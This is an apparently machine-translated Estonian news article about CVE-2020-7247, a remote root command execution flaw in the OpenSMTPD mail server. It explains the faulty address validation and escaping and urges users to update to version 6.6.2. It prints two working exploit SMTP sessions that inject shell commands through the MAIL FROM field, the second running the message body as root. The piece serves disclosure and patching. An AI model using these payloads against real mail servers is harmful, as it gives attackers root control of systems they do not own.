OpenSMTPD haavatavus, mis võimaldab kaugelt root'i õigustes koodi täita

Arendataval OpenBSD projektil põhineval postiserveril OpenSMTPD tuvastatud kriitiline haavatavus (CVE-2020-7247), mis võimaldab kaugjuhtimise teel shell-käske käivitada serveris, kus on juurkasutaja õigused. Haavatavus tuvastati Qualys Security poolt läbi viidud kordusauditi käigus (eelmine audit OpenSMTPD osas viidi läbi 2015. aastal, uus haavatavus on esinenud alates 2018. aasta maist). Probleem eemaldatud on OpenSMTPD versioonis 6.6.2. Kõigile kasutajatele soovitatakse tungivalt installida värskendus (OpenBSD puhul saab paranduse installida läbi syspatch).

Pakutakse kahte rünneversiooni. Esimene variant töötab OpenSMTPD vaike konfiguratsioonis (küsimuste vastuvõtt ainult localhostilt) ja võimaldab probleemiga kohapeal manipuleerida, kui ründajal on võimalus pöörduda serveri kohalikku võrguinterface'i (loopback) poole (nt hostingusüsteemides). Teine variant ilmneb siis, kui OpenSMTPD on seadistatud välisküsimuste vastuvõtmiseks (postiserver, mis võtab vastu välist posti). Teadurid on koostanud eksploiteerimise prototüübi, mis töötab edukalt nii OpenSMTPD versiooniga OpenBSD 6.6 kui ka teiste operatsioonisüsteemide ülekantaval versioonil (katsetatud Debian Testingus).

Probleem tuleneb veast funktsioonis smtp_mailaddr(), mida kutsutakse usaldusväärsuse kontrollimiseks «MAIL FROM» ja «RCPT TO» väljade väärtustes, mis määratlevad saatja/saaja ja edastatakse koos postiserveriga ühenduse loomisel. Korrektsuse kontrollimiseks aadressi osade vahel, mis asuvad «@» sümptomist enne, kutsutakse funktsioonis smtp_mailaddr() esile funktsioon
valid_localpart(), mis peab lubatuks (MAILADDR_ALLOWED) sümboleid «!#$%&’*/?^`{|}~+-=_», vastavalt RFC 5322 nõuetele.

Samal ajal toimub otse stringi escaping funktsioonis mda_expand_token(), mis asendab ainult sümbolid «!#$%&’*?`{|}~» (MAILADDR_ESCAPE). Edasi valmistatud stringi kasutatakse andmeedastaja (MDA) kutsumisel käsu kaudu ‘execle(«/bin/sh», «/bin/sh», «-c», mda_command,…’. Kui kiri salvestatakse mbox'i kaudu /bin/sh, käivitatakse käsk «/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}», kus väärtus «%{mbox.from}» sisaldab valitud andmeid «MAIL FROM» parameetrist.

Haavatavuse tuum on see, et smtp_mailaddr() sisaldab loogilist viga, mille tõttu edastamisel tühja domeeni puhul e-kirjas, funktsioon tagastab eduka kontrollikoodi, isegi kui aadressi osa enne «@» sisaldab lubamatuid sümboleid. Edasi valmistatud stringi valmimise ajal funktsioonis mda_expand_token() ei escape'ita kõiki võimalikke shelli erisümboleid, vaid ainult need, mis on lubatud postiaadressis. Seetõttu on oma käsu käivitamiseks piisav, kui kasutada e-posti kohalikus osas sümbolit «;» ja tühikut, mis ei kuulu MAILADDR_ESCAPE komplekti ja ei escape'ita. Näiteks:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT

Pärast seda seanssi käivitab OpenSMTPD mbox'i kohaletoimetamisel shell-käsk

/usr/libexec/mail.local -f ;sleep 66; root

Siinkohal piiravad rünnaku võimalused kohalik osa ei tohi ületada 64 sümbolit ja erisümbolid ‘$’ ning ‘|’ asendatakse ekraanistamisel sümboliga «:». Selle piirangu ületamiseks on kasutatud fakti, et kirja sisu edastatakse pärast käivitamist /usr/libexec/mail.local sisendvoo kaudu, st aadressiga manipuleerimisega võib käivitada ainult käsurea tõlgendi sh ja kasutada kirja sisu juhiste komplektina. Kuna kirja alguses on teenuslikud SMTP-pealkirjad, soovitatakse nende vahelejätmiseks kasutada read käsku tsüklis. Töö eksploiteerimine omandab ligikaudu järgmise kuju:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1

#d
for i in W O P R; do
echo -n «($i) » && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT

Allikas: opennet.ru

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster